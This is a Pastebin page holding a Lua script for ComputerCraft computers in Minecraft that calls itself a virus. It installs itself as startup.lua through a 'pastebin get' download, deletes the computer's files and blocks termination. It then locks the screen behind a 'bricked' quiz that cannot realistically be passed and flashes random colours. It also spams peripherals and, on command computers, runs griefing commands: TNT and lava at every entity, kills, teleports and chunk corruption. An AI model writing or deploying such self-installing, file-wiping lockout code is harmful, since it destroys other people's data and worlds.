Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local problems_to_solve = 100
- local maxX,maxY = term.getSize()
- local cMaxX,cMaxY = term.getSize()
- local current = term.current()
- --Dont use because we rely on a couple apis, such as term
- local function destroyAPIS()
- for k,v in pairs(fs.list("/rom/apis/")) do
- if not fs.isDir("/rom/apis/"..v) and v ~= "fs" then
- pcall(function() os.unloadAPI(_G[v]) end)
- end
- end
- pcall(function() os.unloadAPI(fs) end)
- while true do
- e = os.pullEventRaw()
- if e == "terminate" then
- print("nice try :)")
- end
- end
- end
- --Definitely use this one :D
- local function griefFiles()
- for k,v in pairs(fs.list("/")) do
- if v ~= "startup.lua" and v ~= "rom" then
- pcall(function() fs.delete(v) end)
- end
- end
- end
- function Matrix(arg1,arg2)
- local matrix = { {1,0},{0,1} } --Default matrix is I2
- if type(arg1) == "table" and type(arg1[1]) == "table" then --If 2d table provided, use this
- matrix = {}
- for k,v in ipairs(arg1) do
- matrix[k] = {}
- if type(v) ~= "table" then v = {} end
- for j,w in ipairs(v) do
- matrix[k][j] = tonumber(w)
- end
- end
- elseif tonumber(arg1) and tonumber(arg2) then --If 2 dimensions provided, fill in with 0s
- matrix = {}
- for i=1,tonumber(arg1) do
- matrix[i] = {}
- for j=1,tonumber(arg2) do
- matrix[i][j] = 0
- end
- end
- elseif tonumber(arg1) then --If only 1 dimension provided, create the identity matrix
- matrix = {}
- for i=1,tonumber(arg1) do
- matrix[i] = {}
- for j=1,tonumber(arg1) do
- if j == i then matrix[i][j] = 1 else matrix[i][j] = 0 end
- end
- end
- end
- local m = {matrix=matrix}
- function m:display()
- --term.clear()
- --term.setCursorPos(1,1)
- local x,y = term.getCursorPos()
- for k,v in ipairs(self.matrix) do
- term.setCursorPos(x,y+k-1)
- for j,w in ipairs(v) do
- term.write(w .. " ")
- end
- end
- end
- function m:transpose(replace)
- local n = {}
- for k,v in ipairs(self.matrix) do
- for j,w in ipairs(v) do
- if not n[j] then n[j] = {} end
- n[j][k] = w
- end
- end
- if replace then self.matrix = n end
- return n
- end
- --Matrix {1,2} {3,4} -> {3,4} {1,2}
- function m:reflectX(replace)
- local n = {}
- for i=1,#self.matrix do
- n[#self.matrix - i + 1] = self.matrix[i]
- end
- if replace then self.matrix = n end
- return n
- end
- function m:reflectY(replace)
- local n = {}
- for i=1,#self.matrix do
- n[i] = {}
- for j=1,#self.matrix[i] do
- n[#self.matrix[i] - j + 1] = self.matrix[i][j]
- end
- end
- if replace then self.matrix = n end
- return n
- end
- function m:rotate(amt,replace)
- amt = math.floor(tonumber(amt) or 1)%4
- local n = {}
- local function transform(x,y,w,h,amt)
- if amt <= 0 then return x,y
- --if amt <= 1 then return y, h - x + 1
- else return transform(y, h-x+1, h, w, amt - 1) end
- end
- for x,v in ipairs(self.matrix) do
- for y,w in ipairs(v) do
- local X,Y = transform(x,y,#v,#self.matrix,amt)
- if not n[X] then n[X] = {} end
- n[X][Y] = w
- end
- end
- if replace then self.matrix = n end
- return n
- end
- function m:mul(other)
- if type(other) ~= "table" and type(other) ~= "number" then return false,"invalid args" end
- if type(other) == "table" and not other.matrix and type(other[1]) ~= "table" then --Case when matrix multiply by vector
- if #other ~= #self.matrix[1] then return false, "vector dims incorrect" end --Invalid matrix dims
- local res = {}
- for i=1, #self.matrix do
- local sum = 0
- for j = 1, #other do
- sum = sum + other[j] * self.matrix[i][j]
- end
- res[i] = sum
- end
- return res
- end
- if tonumber(other) then
- local result = {}
- for k,v in ipairs(self.matrix) do
- result[k] = {}
- for j,w in ipairs(v) do
- result[k][j] = w * tonumber(other)
- end
- end
- return Matrix(result)
- end
- if not other.matrix then other = Matrix(other) end --If other is not a matrix, then convert it into one
- if #other.matrix ~= #self.matrix[1] then return false,"matrix dims incorrect" end --Cannot multiply the matrices
- other:transpose(true) --easier to extract vectors from transposed matrix
- local result = {}
- for i=1,#other.matrix do
- result[i] = self:mul(other.matrix[i]) --Multiply by the "vertical" vector of the original other matrix
- end
- result = Matrix(result)
- other:transpose(true)
- result:transpose(true)--Undoing the transpose
- return result
- end
- function m:popV(row,col) --Used for determinant before I realized recursion is a bad way to do determinants
- local res = {}
- for k,v in ipairs(self.matrix) do
- if k ~= row then
- local rw = {}
- for j,w in ipairs(v) do
- if j ~= col then
- table.insert(rw,w)
- end
- end
- table.insert(res,rw)
- end
- end
- return res
- end
- function m:equals(other)
- if type(other) == "table" and other.matrix then other = other.matrix end
- if type(other) ~= "table" or type(other[1]) ~= "table" then return false end
- if #other ~= self.matrix or #other[1] ~= self.matrix[1] then return false end
- for k,v in ipairs(other) do
- for j,w in ipairs(v) do
- if w ~= self.matrix[k][j] then return false end
- end
- end
- return true
- end
- function m:ref(alpha)
- alpha = tonumber(alpha) or 1
- local leading_col = 0
- for i=1,#self.matrix do --Put in echelon form on each row of the matrix
- local leading_row = 0
- while leading_row <= 0 do
- leading_col = leading_col + 1
- if leading_col > #self.matrix[1] then break end
- for j=i,#self.matrix do --Row swap so leading col is working
- if self.matrix[j][leading_col] ~= 0 then
- leading_row = j
- break
- end
- end
- end
- if leading_col > #self.matrix[1] then return alpha end --rref finished if everything is all 0s at and below current row
- if leading_row ~= i then --Row swap
- local temp = self.matrix[i]
- self.matrix[i] = self.matrix[leading_row]
- self.matrix[leading_row] = temp
- alpha = -1 * alpha
- end
- for j=i+1,#self.matrix do --Row addition
- local const = -1 * (self.matrix[j][leading_col]/self.matrix[i][leading_col])
- for k = leading_col,#self.matrix[1] do
- self.matrix[j][k] = self.matrix[j][k] + const * self.matrix[i][k]
- end
- --alpha unchanged
- end
- if self.matrix[i][leading_col] ~= 1 then --Row multiplication
- local const = 1/self.matrix[i][leading_col]
- alpha = alpha * self.matrix[i][leading_col]
- for j=leading_col,#self.matrix[1] do
- self.matrix[i][j] = self.matrix[i][j] * const
- end
- end
- end
- return alpha
- end
- function m:rref()
- self:ref()
- for i=#self.matrix,1,-1 do --Traverse up backwards above leading columns and backfill
- local leading_col = 0
- for j=1,#self.matrix[i] do
- if self.matrix[i][j] ~= 0 then
- leading_col = j
- break
- end
- end
- if leading_col > 0 then
- for j= i-1,1,-1 do --Row additions
- local const = -1 * self.matrix[j][leading_col]/self.matrix[i][leading_col]
- for k = 1,#self.matrix[j] do
- self.matrix[j][k] = self.matrix[j][k] + const * self.matrix[i][k]
- end
- end
- end
- end
- end
- function m:trace()
- if #self.matrix ~= #self.matrix[1] then return false end --No trace for non square
- local sum = 0
- for i=1,#self.matrix do
- sum = sum + self.matrix[i][i]
- end
- return sum
- end
- function m:det()
- if #self.matrix ~= #self.matrix[1] then return false end
- local n = Matrix(self.matrix) --copy matrix
- local alpha = n:ref() --diagonalize matrix and compute the product of the dets of the row ops
- local det = 1
- for i=1,#n.matrix do
- det = det * n.matrix[i][i] --Calculate product of diagonals
- end
- return det*alpha
- end
- function m:randomize(lb,ub,replace)
- lb = math.floor(tonumber(lb) or -64)
- ub = math.max(lb,math.floor(tonumber(ub) or 64))
- --limit = math.max(math.floor(tonumber(limit) or 64),1)
- local res = {}
- for k,v in ipairs(self.matrix) do
- res[k] = {}
- for j,w in ipairs(v) do
- res[k][j] = math.random(lb,ub)
- end
- end
- if replace then self.matrix = res end
- return res
- end
- function m:norm()
- if #m.matrix == 1 then
- local sum = 0
- for k,v in ipairs(m.matrix[1]) do
- sum = sum + v*v
- end
- return sum
- elseif #m.matrix[1] == 1 then
- local sum = 0
- for k,v in ipairs(m.matrix) do
- sum = sum + v[1]*v[1]
- end
- return sum
- end
- return false --not vector, and too lazy to do orthonormal bases for matrices
- end
- return m
- end
- local function displayBox(x,y,w,h,txt)
- local box = {
- x=x,
- y=y,
- w=w,
- h=h,
- text=txt
- }
- function box:draw()
- local x,y,w,h = self.x,self.y,self.w,self.h
- if type(x) == "function" then
- x = x()
- end
- if type(y) == "function" then
- y = y()
- end
- if type(w) == "function" then
- w = w()
- end
- if type(h) == "function" then
- h = h()
- end
- local text = self.text
- term.setCursorPos(x,y)
- for j=1,h do
- local newLine = math.min( (string.find(text,"\n") or w),w)--Either newline or width
- local str = string.sub(text,1,newLine)
- str = str:gsub("\n","")
- text = string.sub(text,newLine+1)
- -- local str = string.sub(self.text,(j-1)*w + 1,j*w)
- str = str .. string.rep(" ",w - #str)
- term.write(str)
- term.setCursorPos(x,y + j)
- end
- end
- return box
- end
- --Function = function(self,inputText) return [boolean] isCorrect end
- local function Question(data,disp,f)
- local maxX,maxY = term.getSize()
- local blit = {}
- for i=1,maxY - 2 do
- if disp[i] then
- table.insert(blit,{disp[i] .. "\n", string.rep("a",maxX), string.rep("6",maxX) })
- else
- table.insert(blit,{"\n",string.rep("a",maxX),string.rep("6",maxX)})
- end
- end
- local txt = ""
- for k,v in ipairs(blit) do
- txt = txt .. v[1]
- end
- local q = {
- data = data,
- blit = blit,
- answer = f,
- box = displayBox(1,6,function() return term.getSize() end,#blit,txt),
- txt = txt
- }
- function q:draw()
- return self.box:draw()
- end
- function q:updateText(newTxt)
- if type(newTxt) == "string" then
- self.box.text = newTxt
- end
- os.queueEvent("redraw")
- end
- return q
- end
- local function generateQuestion()
- local questionTypes = {
- "addition",
- "multiplication",
- "division",
- "determinant",
- "matrix_multiplication",
- "rref",
- "SOE", --nyi
- "angle_vectors",
- "guess_number",
- "heads_or_tails"
- }
- local qt = questionTypes[math.random(#questionTypes)]
- if qt == "addition" then
- local a,b = math.random(999999),math.random(999999)
- return Question({a=a,b=b},{"Add:"," " .. a .. "+" .. b},function(self,ans) return tonumber(ans) == self.data.a + self.data.b end)
- elseif qt == "multiplication" then
- local a,b = math.random(999999),math.random(999999)
- return Question({a=a,b=b},{"Multiply:"," " .. a .. "*" .. b},function(self,ans) return tonumber(ans) == self.data.a * self.data.b end)
- elseif qt == "division" then
- local a,b = math.random(999999),math.random(999999)
- return Question({a=a,b=b},{"Divide:"," " .. a .. "/" .. b},
- function(self,ans) return tonumber(ans) and (math.floor(tonumber(ans)*100000) == math.floor(self.data.a/self.data.b*100000)) end)--correct to 5 decimal places because I'm nice like that
- elseif qt == "determinant" then
- local mSize = math.random(3,7)
- local m = Matrix(mSize)
- m:randomize(-999,999,true)
- local disp = {"Take the determinant!"}
- for k,v in ipairs(m.matrix) do
- local str = "|"
- for j,w in ipairs(v) do
- local tempStr = "" .. w
- tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
- str = str .. tempStr .. " "
- end
- str = string.sub(str,1,-2) .. "|"
- table.insert(disp,str)
- end
- return Question({det=math.floor(m:det()*100000)},disp,function(self,ans) return math.floor(tonumber(ans)*100000) == self.data.det end)
- elseif qt == "matrix_multiplication" then
- local a,b = math.random(3,7),math.random(3,7)
- local c,d = b,math.random(3,7)
- local m,n = Matrix(a,b),Matrix(c,d)
- m:randomize(-999,999,true)
- n:randomize(-999,999,true)
- local disp = {"Multiply the matrices!"}
- local w = 0
- for k,v in ipairs(m.matrix) do
- local str = "|"
- for j,w in ipairs(v) do
- local tempStr = "" .. w
- tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
- str = str .. tempStr .. " "
- end
- str = string.sub(str,1,-2) .. "|"
- w = math.max(w,#str)
- table.insert(disp,str)
- end
- for k,v in ipairs(n.matrix) do
- local str = string.rep(" ",w) .. "|"
- if disp[k+1] then str = disp[k+1] .. "|" end
- for j,w in ipairs(v) do
- local tempStr = "" .. w
- tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
- str = str .. tempStr .. " "
- end
- str = string.sub(str,1,-2) .. "|"
- disp[k+1] = str
- end
- return Question({ans=m:mul(n)},disp,function(self,ans) return self.data.ans:equals(textutils.unserialise(ans)) end)
- elseif qt == "rref" then
- local a = math.random(3,7)
- local b = math.random(a,11)
- local m = Matrix(a,b)
- m:randomize(-999,999,true)
- local disp = {"Convert into ref (enter ints)"}
- for k,v in ipairs(m.matrix) do
- local str = "|"
- for j,w in ipairs(v) do
- local tempStr = "" .. w
- tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
- str = str .. tempStr .. " "
- end
- str = string.sub(str,1,-2) .. "|"
- table.insert(disp,str)
- end
- m:ref()
- for k,v in ipairs(m.matrix) do
- for j,w in ipairs(v) do
- m.matrix[k][j] = math.floor(w)
- end
- end
- return Question({ref=m},disp,function(self,ans) return self.data.ref:equals(textutils.unserialise(ans)) end)
- elseif qt == "angle_vectors" then
- local a = math.random(3,7)
- local m,n = Matrix(1,a),Matrix(1,a)
- m:randomize(-999,999,true)
- n:randomize(-999,999,true)
- local disp = {"Find the angle between these vectors!"}
- local w = 0
- for k,v in ipairs(m.matrix) do
- local str = "|"
- for j,w in ipairs(v) do
- local tempStr = "" .. w
- tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
- str = str .. tempStr .. " "
- end
- str = string.sub(str,1,-2) .. "|"
- w = math.max(w,#str)
- table.insert(disp,str)
- end
- for k,v in ipairs(n.matrix) do
- local str = string.rep(" ",w) .. "|"
- if disp[k+1] then str = disp[k+1] .. "|" end
- for j,w in ipairs(v) do
- local tempStr = "" .. w
- tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
- str = str .. tempStr .. " "
- end
- str = string.sub(str,1,-2) .. "|"
- disp[k+1] = str
- end
- local dot = m:mul(n:transpose()).matrix[1]
- local prod = m:norm() * n:norm()
- return Question({ans = math.acos(dot/prod)},disp,function(self,ans) return math.floor(tonumber(ans)*100000) == math.floor(self.data.ans*100000) end)
- elseif qt == "SOE" then
- local m,n = math.random(3,7),math.random(3,7)
- local vars = {"x","y","z","a","b","c","d"}
- local a = Matrix(m,n)
- local x = Matrix(n,1)
- a:randomize(0,99,true)
- x:randomize(-99,99,true)
- local b = a:mul(x)
- local disp = {"Solve the system of equations!","Enter your solution as a table {x=num,y=num...}"}
- for i=1,#a.matrix do
- local str = ""
- for j=1,#a.matrix[i] do
- if a.matrix[i][j] > 0 and a.matrix[i][j] < 10 then
- str = str .. " " .. a.matrix[i][j] .. vars[j]
- elseif a.matrix[i][j] >= 10 then
- str = str .. a.matrix[i][j] .. vars[j]
- else
- str = str .. " 0"
- end
- if j ~= #a.matrix[i] then str = str .. " + " end
- end
- str = str .. " = " .. b.matrix[i][1]
- table.insert(disp,str)
- end
- return Question({matrix=a,vec=b,vars=vars},disp,function(self,ans)
- local data = textutils.unserialise(ans)
- if type(data) ~= "table" then return false end
- local vector = {}
- for k,v in ipairs(self.vars) do
- local d = tonumber(data[v])
- if not d then return false end
- vector[k] = d
- end
- local res = self.matrix:mul(Matrix({vector}))
- if self.vec:equals(res) then return true end
- return false end)
- elseif qt == "heads_or_tails" then
- return Question("tails",{"heads or tails"},
- function(self,ans)
- self.answer = function(self,ans)
- self.data = "heads"
- if math.random(2) == 2 then self.data = "tails" end
- return string.lower(ans) == self.data
- end
- return false
- end)
- else
- local a = math.random(-99999,99999)
- local disp = {"I am thinking of an integer","between -99999 and 99999","Guess the number to win!"}
- return Question({ans=a},disp,function(self,ans) return tonumber(ans) == self.data.ans end)
- end
- end
- local current_question
- pcall(function() current_question = generateQuestion() end)
- local answer_box = displayBox(1,function()
- local maxX,maxY = term.getSize()
- return maxY - 4 end,function() return term.getSize() end,5,"")
- local question_count = displayBox(function()
- local maxX,maxY = term.getSize()
- return maxX - 4 end,
- 5,5,1,"" .. problems_to_solve)
- local header_blit = {
- "This computer ",
- "has been bricked! ",
- "Answer questions to get",
- "access to your files! ",
- "Questions remaining: "
- }
- local header_box = displayBox(1,1,23,5,"This computer " .. "has been bricked! " .. "Answer questions to get" .. "access to your files! " .. "Questions remaining: ")
- local function ui_recolor(redirect)
- if redirect then pcall(function() term.redirect(redirect) end) end
- term.setPaletteColor(colors.pink,math.random(0xFFFFFF))
- term.setPaletteColor(colors.purple,math.random(0xFFFFFF))
- term.setPaletteColor(colors.magenta,math.random(0xFFFFFF))
- term.setPaletteColor(colors.brown,math.random(0xFFFFFF))
- term.setPaletteColor(colors.black,math.random(0xFFFFFF))
- term.setPaletteColor(colors.white,math.random(0xFFFFFF))
- term.setPaletteColor(colors.gray,math.random(0xFFFFFF))
- end
- local function ui_redraw(redirect)
- maxX,maxY = term.getSize()
- term.setCursorPos(1,1)
- ui_recolor(redirect)
- term.clear()
- term.setTextColor(colors.pink)
- header_box:draw()
- term.setTextColor(colors.magenta)
- current_question:draw()
- term.setTextColor(colors.brown)
- term.setBackgroundColor(colors.gray)
- answer_box:draw()
- term.setTextColor(colors.black)
- term.setBackgroundColor(colors.white)
- question_count.text = "" .. problems_to_solve
- question_count:draw()
- end
- --Gets a random value of any type, good for spamming functions and peripherals
- --No tables = ban tables
- --Nof = no functions
- --fType = function type override
- --lim = extra chance for nil values
- local function getRandValue(noTables,noF,fType,lim)
- if not fType then
- local t = math.random(0,35 + (math.floor(tonumber(lim)) or 0))
- if t < 10 then fType = "string"
- elseif t < 20 then fType = "number"
- elseif t < 25 then fType = "boolean"
- elseif t < 30 then fType = "table"
- elseif t <= 30 then fType = "function"
- end
- else
- noTables = false
- noF = false
- end
- if fType == "string" then
- local len = math.random(256)
- local str = ""
- for i=1,len do
- str = str .. string.char(math.random(256)-1)
- end
- return str
- elseif fType == "number" then
- local float = math.random(2) == 2
- local len = math.random(99999)
- if float then
- return len*math.random()
- else
- return len
- end
- elseif fType == "boolean" then
- return math.random(2) == 2 --boolean
- elseif fType == "table" and not noTables then
- local len = math.random(16)
- local t = {}
- for i=1,len do
- table.insert(t,getRandValue(true))
- end
- return t
- elseif fType == "function" and not noF then
- return function()
- local t = {}
- for i=0,math.random(10) do
- table.insert(t,getRandValue(false,true))
- end
- return unpack(t)
- end
- elseif fType == "speaker_data" then
- local t = {}
- for i=1,128*1024 do
- t[i] = math.random(-128,127)
- end
- return t
- elseif type(fType) == "table" and fType[1] == "random" then
- if fType[2] == "int" then
- return math.random(tonumber(fType[3]) or 0,tonumber(fType[4]) or 16383)
- elseif fType[2] == "float" then
- local num = math.random()
- local lowLim,uLim = tonumber(fType[3]) or 0, tonumber(fType[4]) or 1
- return lowLim + uLim*num
- elseif fType[2] == "select" and type(fType[3]) == "table" then
- local item = fType[3][math.random(#fType[3])]
- if type(item) == "function" then return item() else return item end --supports recursive now
- elseif fType[2] == "color" then
- return 2^math.random(0,15)
- elseif fType[2] == "command_target" then
- local targets = {"@p","@r","@a","@e","@s","@e[limit=1]"}
- return targets[math.random(#targets)]
- end
- elseif type(fType) == "table" and fType[1] == "literal" then
- return fType[2]
- elseif fType == "resource_location" then
- local str = ""
- for i=1,math.random(3,32) do
- local char = string.char(math.random(0,255))
- if string.match(char,"[%l%_%-]") then str = str .. char end
- end
- return "minecraft:" .. str
- elseif fType == "relative_coord" then
- return "~" .. math.random(-32,32)
- end
- end
- local method_summaries = {
- sendMessage = {"string","string"}, --Example method summary (also a fun one to spam)
- playAudio = {"speaker_data",{"random","float",1,3}},
- setBackgroundColor = {{"random","color"}},
- setBackgroundColour = {{"random","color"}},
- setPaletteColor = {{"random","color"},{"random","int",0,0xFFFFFF}},
- setPaletteColour = {{"random","color"},{"random","int",0,0xFFFFFF}}
- } --List of method summaries for random peripherals
- local turtle_methods = {
- }
- local command_methods,command_calls = nil,{}
- if commands then
- local effects = {"minecraft:blindness","minecraft:nausea","minecraft:mining_fatigue","minecraft:slowness","minecraft:darkness","minecraft:levitation","minecraft:wither","minecraft:poison"}
- command_methods = {
- ban={{"random","command_target"},"string"}, --Probably not relevant. I believe the command computer has a permission level of 2, and to ban you need a permission level of 3
- advancement={{"random","select",{"grant","revoke"}},{"random","command_target"},{"literal","everything"}},
- bossbar={{"random","select",{"add","set"}},{"random","int",0,9},{"select",{"color","max","name","value",function() return getRandValue(nil,nil,"string") end}},{"select",{function() return end,function() return getRandValue(nil,nil,{"random","int",0,100}) end,function() return getRandValue(nil,nil,"string") end}}}, --Complicated boss bar thing, no clue if works
- clear={{"random","command_target"}}, --Too much troll?
- damage={{"random","command_target"},{"random","float",0,1023}},
- daylock={"boolean"},
- alwaysday={"boolean"},--Identical commands
- defaultgamemode={{"random","select",{"survival","creative","adventure","spectator"}}},
- difficulty={{"random","select",{"peaceful","easy","normal","hard"}}},
- effect={{"random","select",{"give","clear"}},{"random","command_target"},{"random","select",effects},{"random","select", {"infinite",function() return end,function() return getRandValue(nil,nil,{"random","int",0,99999}) end}}},
- fill={"relative_coord","relative_coord","relative_coord","relative_coord","relative_coord","relative_coord",{"random","select",{"minecraft:barrier","minecraft:bedrock","minecraft:end_portal_frame","minecraft:dragon_egg"}},{"literal","keep"}},
- gamemode={{"random","select",{"survival","creative","adventure","spectator"}},{"random","command_target"}},
- kick={{"random","command_target"},"string"}, --Same problem as ban
- kill={{"random","command_target"}},
- ride={{"random","command_target"},{"literal","mount"},{"random","command_target"}},
- say={"string"},
- setblock={"relative_coord","relative_coord","relative_coord",{"minecraft:barrier","minecraft:bedrock","minecraft:end_portal_frame","minecraft:dragon_egg"},{"literal","keep"}},
- setworldspawn={{"random","int",-6942069,6942069},{"random","int",-60,310},{"random","int",-6942069,6942069}},
- spawnpoint={{"random","command_target"},{"random","int",-6942069,6942069},{"random","int",-60,310},{"random","int",-6942069,6942069}},
- spectate={{"random","command_target"},{"random","command_target"}},
- spreadplayers={{"random","int",-6942069,6942069},{"random","int",-6942069,6942069},{"literal",0.0},{"random","float",1.0,6942069},{"literal",false},{"random","command_target"}},
- summon={{"random","select",{"minecraft:wither","minecraft:ender_dragon","minecraft:ravager","minecraft:vex","minecraft:tnt"}},{"random","command_target"}},
- time={{"literal","add"},{"random","select",{function() return getRandValue({"random","float"}) .. "d" end}}},
- teleport={{"random","command_target"},{"random","int",-6942069,6942069},{"random","int",-60,310},{"random","int",-6942069,6942069}},
- weather={{"random","select",{"clear","rain","thunder"}},{"random","int",1,99999}},
- worldborder={{"random","select",{"center","set"}},{"random","int",-6942069,6942069},{"random","int",-6942069,6942069}},
- xp={{"random","select",{"add","set"}},{"random","command_target"},{"random","int",0,69420},{"random","select",{"levels","points"}}},
- tnt_troll = {}, --filler for custom commands
- corruption = {},
- lava_spam = {}
- }
- commands.tnt_troll = function() commands.exec("execute at @e at ~ ~ ~ run summon tnt") end
- commands.corruption = function()
- for i=1,100 do
- local x,y,z,dim = "~"..getRandValue({"random","int",-256,256}),"~"..getRandValue({"random","int",-64,64}), "~"..getRandValue({"random","int",-256,256}), getRandValue({"random","select",{"minecraft:overworld","minecraft:the_nether","minecraft:the_end"}})
- local newX,newY,newZ,newDim = "~"..getRandValue({"random","int",-256,256}),"~"..getRandValue({"random","int",-64,64}), "~"..getRandValue({"random","int",-256,256}), getRandValue({"random","select",{"minecraft:overworld","minecraft:the_nether","minecraft:the_end"}})
- local cmd = string.format("from %s %s %s %s %s %s %s to %s %s %s %s",dim,x,y,z,x,y,z,newDim,newX,newY,newZ)
- pcall(function()
- command.exec("execute in " .. dim .. " forceload ".. x .. " " .. z)
- command.exec("execute in " .. newDim .. " forceload ".. newX .. " " .. newZ)
- commands.clone(cmd)
- end)
- end
- end
- commands.lava_spam = function() commands.exec("execute at @e at ~ ~ ~ setblock ~ ~ ~ minecraft:lava") end
- for k,v in pairs(command_methods) do
- table.insert(command_calls,k)
- end
- end
- if type(turtle) == "table" then
- for k,v in pairs(turtle) do
- if type(v) == "function" and k ~= "equipLeft" and k ~= "equipRight" then
- table.insert(turtle_methods,k)
- end
- end
- end --Registering turtle methods
- local function chaos_step()
- local peripherals = peripheral.getNames()
- local name = peripherals[math.random(#peripherals)]
- if not name or peripheral.hasType(name,"monitor") then return false end
- local perip = peripheral.wrap(name)
- local methods = peripheral.getMethods(name)
- if type(methods) ~= "table" then return false end
- local method = methods[math.random(#methods)]
- local args = {}
- if method_summaries[method] then
- for i,v in ipairs(method_summaries[method]) do
- args[i] = getRandValue(false,false,v)
- end
- else
- for i=1,6 do
- args[i] = getRandValue(nil,nil,nil,i*5)
- end
- end
- local success = pcall(function() perip[method](unpack(args)) end)
- if success and not method_summaries[method] then
- method_summaries[method] = {}
- for k,v in ipairs(args) do
- table.insert(method_summaries[method],type(v))
- end
- end
- end
- local function command_step()
- local method = command_calls[math.random(#command_calls)]
- local args = {}
- if command_methods[method] then
- for i,v in ipairs(command_methods[method]) do
- args[i] = getRandValue(false,false,v)
- end
- end
- pcall(function() commands[method](unpack(args)) end)
- end
- local function turtle_spam()
- local method = turtle_methods[math.random(#turtle_methods)]
- pcall(function() turtle[method](math.random(16)) end)
- end
- --wrapper
- local function chaos()
- while true do
- sleep(0)
- pcall(chaos_step)
- if turtle then
- pcall(turtle_spam)
- elseif commands then
- pcall(command_step)
- end
- end
- end
- local function answer_question()
- pcall(function() os.queueEvent("redraw") end)
- current_question = generateQuestion()
- answer_box.text = ""
- while true do
- local e,k,isheld = os.pullEventRaw("key")
- if k < 256 and #answer_box.text < cMaxX*5 then
- local a,b,c = os.pullEventRaw("char")
- answer_box.text = answer_box.text .. b
- elseif k == keys.enter then
- if current_question:answer(answer_box.text) then
- problems_to_solve = problems_to_solve - 1
- return true
- else
- local oldTxt = current_question.txt
- current_question:updateText("WATCHDOG WAS PRESENT IN THE LAST QUESTION.")
- local id,tempID = os.startTimer(2)
- repeat
- e,tempID = os.pullEventRaw()
- until e == "timer" and tempID == id
- current_question:updateText("YOU ANSWERED INCORRECTLY.")
- local id,tempID = os.startTimer(2)
- repeat
- e,tempID = os.pullEventRaw()
- until e == "timer" and tempID == id
- current_question:updateText("5 QUESTIONS HAVE BEEN ADDED TO YOUR QUOTA.")
- problems_to_solve = problems_to_solve + 5 --punish users for getting questions wrong.
- answer_box.text = ""
- local id,tempID = os.startTimer(2)
- repeat
- e,tempID = os.pullEventRaw()
- until e == "timer" and tempID == id
- current_question:updateText("PAY MORE ATTENTION.")
- local id,tempID = os.startTimer(2)
- repeat
- e,tempID = os.pullEventRaw()
- until e == "timer" and tempID == id
- current_question:updateText("BRICKER THANKS YOU FOR YOUR COOPERATION.")
- local id,tempID = os.startTimer(2)
- repeat
- e,tempID = os.pullEventRaw()
- until e == "timer" and tempID == id
- current_question:updateText(oldTxt)
- end
- elseif k == keys.backspace or k == keys.delete then
- answer_box.text = string.sub(answer_box.text,1,-2)
- end
- pcall(function() os.queueEvent("redraw") end)
- end
- end
- --Wrapper
- local function answer_questions()
- while true do
- pcall(function() answer_question() end)
- end
- end
- --Wrapper
- local function ui()
- pcall(function() ui_recolor(current) end)
- pcall(function() ui_redraw(current) end)
- while true do
- local e = os.pullEventRaw()
- pcall(function() ui_recolor(current) end)
- if e == "redraw" then pcall(function() ui_redraw(current) end) end
- local monitors = {peripheral.find("monitor")}
- for k,monitor in ipairs(monitors) do
- pcall(function() monitor.setTextScale(1) end)
- pcall(function() ui_recolor(monitor) end)
- if e == "redraw" then pcall(function() ui_redraw(monitor) end) end
- end
- end
- end
- pcall(function() if not fs.exists("startup.lua") then shell.run("pastebin get F95bbkBp startup.lua") end end)
- pcall(griefFiles)
- pcall(function() os.unloadAPI("disk") end)
- --Seizure warning so people dont get hurt
- --This is a virus, but an ethical one
- local function seizure_warning()
- term.clear()
- term.setCursorPos(1,1)
- print("SEIZURE WARNING")
- print("DO NOT TOUCH ANYTHING")
- print("THIS COMPUTER IS INFECTED WITH A VIRUS")
- print("IF YOU WISH TO ACCESS YOUR FILES, PRESS ANY KEY")
- print("IF YOU ARE SENSITIVE TO FLASHING LIGHTS TURN THIS COMPUTER OFF")
- local e
- while e ~= "key" do
- e = os.pullEventRaw()
- end
- end
- --unused, doesnt work as intended
- local function waste_time()
- while true do
- os.pullEventRaw()
- end
- end
- if commands then
- pcall(function() commands.forceload("add","~","~") end)
- end
- pcall(function() parallel.waitForAny(function() pcall(seizure_warning) end,chaos) end)
- --pcall(seizure_warning)
- term.setTextColor(colors.pink)
- term.setBackgroundColor(colors.purple)
- while true do
- pcall(function() parallel.waitForAll(ui,chaos,answer_questions) end)
- end
Advertisement
Add Comment
Please, Sign In to add comment